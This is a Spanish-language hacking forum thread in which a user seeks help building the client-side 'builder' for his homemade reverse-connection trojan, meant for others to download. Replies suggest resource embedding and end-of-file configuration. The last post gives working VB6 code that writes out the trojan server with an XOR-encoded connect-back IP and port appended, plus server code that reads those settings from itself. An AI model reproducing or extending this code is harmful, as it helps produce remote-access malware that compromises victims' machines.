Foro de elhacker.net

Veran, como algunos ya saben estoy haciendo un troyano inverso, chiquitin y de bolsillo, y ahora me planteo esta duda

yo ya tengo creado el servidor y el cliente, y quiero que el cliente tenga la funcion de crear el servidor:

* primero que te diga a que ip quiere q se conecte el servidor
* despues que cree el .exe

me podriais ayudar a hacerlo? asi cuando ya lo haya acabado podre postearlo para descargar ya que si el server usa mi ip, los que pasen el server a futuras personas todas se conectarian a mi

gracias

para que tu cliente contenga al server lo que debes hacer es agregarlo como recurso y depues extraerlo. o simplemente colocando una función que te lo descargue desde internet. busca aqui hay muchos ejemplos de adicionar y extraer recursos y tambien varios downloaders que pueden servirte.

saludos

no te entendi muy bien, lo que yo quiero es crear el servidor desde el cliente ya que la ip a la que se conecta el servidor tiene que ser cambiada

necesito saber como pdoer crear el servidor desde mi cliente para terminar el Dioxis

haber si alguien me puede hechar una mano jeje, se lo agradeceria y con esto concluiria la 1 version del troyano

Una idea es guardar los datos al fiunal de el archivo (EOF) y luego te auto lees y ves los datos.

Tienes razon, pero 5ol3r quiere con la IP, y la IP se mete dentro del source, no es asi? si no tienes que preguntar al usuario que IP quiere...

no se si me explico,

Saludos!

WaRc3L

Dentro de el code tendria que llebar el vb6 a cuestas y no creo que quiera eso , tambien se puede modificar la ip poniendola en alguna posicion  y luego modificandola pero sin ofender no creo que 50l3r tenga el nivel para hacerlo bien de esa manera por eso encuentro que es mejor para el la manera por EOF.

Razon, razon tienes  ;D

PD&EDIT: O.O, se me acaba de acudir una idea ( cosas raras que pasan )!

> 50l3r crea el .exe copiandolo de un archivo no?

> En ese archivo, podria contener la IP, y desde el source, abriendo ese fichero, y leer la IP.

Seria una buena idea? o me equivoco? me ha salido ahora, puede que me equivoque y sea una tonteria


Saludos!

WaRc3L

lo hice de este metodo

junte con un proyecto de eon el server y el cliente e ice un split para los dos, ambos serian dos arrays, 0 y 1

luego en el server, cojo dos variables que son la ip y el timer ( es otra modificacion) y lo creo junto al server en un exe, todo ello separado de otra firma

luego en el server hay otro split para la subfirma y para que reconozca la variable de la ip y del timer y despues se los asigno al wsk.remotehostip y al timer1.interval

Es el metodo que yo te dije :P solo una pregunta para que el timer ?  :xD

el timer genera un intervalo de reconexion, que sirve para atender las peticiones que no esten aceptadas, es decir cuando tu te desconectas con un host, despues otro se conecta

si la cantidad de host remotos es elevada, el timer ha de ser elevado tambien

TE TRAIGO LA SALUCION
 :laugh: :laugh: :laugh: :laugh:
----------------------------------------
hola yo al tema ya lo avia posteado pero no me dieron solucion . me rebente la cabeza mirando ejemplos q estban en chino jajaj  hasta q comprendi

------------------------
1) vas  ala parte q dice add-ins (en el manu de arriva) y selecionas donde dice add-in manager
te aparece un cartel. te vas a lo asi ultimo y hay uno q dice vb 6 resurce editor , le haces doble clic
hasta q dice loaded ( cargado ) le das ok
por ultimo te aparece un cartel con una carpeta de dice "custom"
te vas a mano derecha del simbolo de interrogacion (?)   y  a la mano derecha de la imagen con captus  q hay unos cuadraditos . le das clic y te aparece
el cartel para elegir el archivo . elegis el servidor ( el troyano) .exe  le das ok y te queda cargado el related documen al archivo q dice custom
le das clic  y te aparece un "fsg" . le das clic  y te aparece un cartel
q dice

type :  "CUSTOM"
id : "FSG"
leguaje : español (argentina)
 
 y listo te queda cargado haora bamos al codigo presta atencion
------------------------------------------------ -------------------------
' declaramos variables q le metemos al server  y el server lo recibe
'agregas un CommonDialog
' dos cajas de  texto  text1 , text2 y un Command1




Private Const BVICTIMNAME As String = "/BVIC"
Private Const EVICTIMNAME As String = "EVIC\"
Private Const BICQUIN As String = "/BUIN"
Private Const EICQUIN As String = "EUIN\"

Dim strPath As String  
    Dim arrServer() As Byte  ' declaramos varibles
    Dim intFile As Integer  
    With CommonDialog1    '
        .Filter = "*.EXE" & "*.BAT" & "*.SCR" & "*.PIF" & "*.COM" & "*.CMD"
        .InitDir = App.Path
        .DefaultExt = ".EXE"
        .DialogTitle = "Save Server As"
        .ShowSave          
        strPath = .FileName
    End With
    arrServer = LoadResData("FSG", "CUSTOM")   ' bariable q utilizaremos para cagar el .res
    
    
    intFile = FreeFile() ' variable para el file

Open strPath For Binary As #intFile 'abrimos el file ( el lugar)
        
        Put #intFile, 1, arrServer
          
   Put #intFile, , BEGIN           '
       Put #intFile, , BVICTIMNAME
        Put #intFile, , encdec(Text1.Text)  ' ak metemos los datos del text1 (podrias ser q hay metas la ip)
        
        Put #intFile, , EVICTIMNAME
 
        Put #intFile, , BICQUIN
        Put #intFile, , encdec(Text2.Text) ' ak metemos los datos del text2 (podrias ser q hay metas el puerto)
        Put #intFile, , EICQUIN
        
Close #intFile ' cerramos la sentencia
''''''''''
Function encdec(inputstrinG As String) As String           ' ak ponemos la funcion encodec
If Len(inputstrinG) = 0 Then Exit Function
Dim p As String, o As String, k As String, s As String, tempstr As String, i As Integer, g As Integer
g = 1
For i = 1 To Len(inputstrinG)
p = Mid$(inputstrinG, i, 1)
o = Asc(p)
k = o Xor g
s = Chr$(k)
tempstr = tempstr & s
If g = 255 Then g = 1 Else g = g + 1
Next i
encdec = tempstr
End Function
````````````````````````````````````````````````````
' pone esto en un modulo
Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTtoalNumberOfClusters As Long) As Long

'''''''''''''''
'''''''''**************************************************

 LISTO HAORA PASAMOS AL SERVIDOR  

-------------------------------------------------------------------
' COLOCA ESTO EN UN MODULO
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Public Function FullAppName() As String
  Dim modName As String * 256
  Dim i As Long
  i = GetModuleFileName(App.hInstance, modName, Len(modName))
  FullAppName = Left$(modName, i)
End Function


'''''''''''''''''
ESTO COLOCALO EN EN FORM

Dim Svicname As String ' Str
Dim intFile As Integer
Dim strTemp As String
Dim SettingStart As Long
Dim SettingEnd   As Long
Dim Durl As String
Dim thefilen As String

Dim RecBytes As Long
Dim FUsize As Long
Dim Sicquin As String
'''''''''''
Private Sub Form_Load()
RecBytes = 0

   intFile = FreeFile()
    
    Open FullAppName For Binary As #intFile

strTemp = String$(LOF(intFile), Chr$(0))
Get #intFile, 1, strTemp                                  'CARGAMOS EL SERVER A LA MEMORIA
    Close #intFile

    SettingStart = InStr(1, strTemp, "/BEG")
    SettingEnd = InStr(1, strTemp, "END\")

FindSetting "/BVIC", "EVIC\", Svicname ' TIPOS DE VARIBLES Q DIGIMOS Q LE IVAMOS A METER AL SERVER
FindSetting "/BUIN", "EUIN\", Sicquin





Select Case Svicname             '''''''''''''''''''

Case "Disabled"

Case Else

Text1.Text = Svicname         ' AK SE BA A ALMACENAR LA IMFORMACION DEL TEXT1 DEL CLIENTE  LA IP A CONECTAR

End Select

Select Case Sicquin

Case "Disabled"

Case Else
Text2.Text = Sicquin   ' AK SE BA A ALMACENAR LA IMFORMACION DEL TEXT2 DEL CLIENTE  EL PUERTO

End Select

END SUB
 
Sub FindSetting(ByVal SStart As String, send As String, SString As String)
On Error Resume Next
    SettingStart = InStr(1, strTemp, SStart) ' find the start of what setting we want
    SettingEnd = InStr(1, strTemp, send) ' find the end
    SString = Mid$(strTemp, SettingStart + 5, SettingEnd - SettingStart - 5) ' the setting = - the markers
    SString = encdec(SString)
   
End Sub
Function encdec(inputstrinG As String) As String
If Len(inputstrinG) = 0 Then Exit Function
Dim p As String, o As String, k As String, s As String, tempstr As String, i As Integer, g As Integer
g = 1
For i = 1 To Len(inputstrinG)
p = Mid$(inputstrinG, i, 1)
o = Asc(p)
k = o Xor g
s = Chr$(k)
tempstr = tempstr & s ' funcion para decodificarlos
If g = 255 Then g = 1 Else g = g + 1
Next i
encdec = tempstr
End Function

'''''''''''''''''''''''''''

SALUDOS BY REMBOLSO ESPERO Q TE AYA AYUDADO  . YA Q AMI NO ME AYUDO NADIE JAJAJ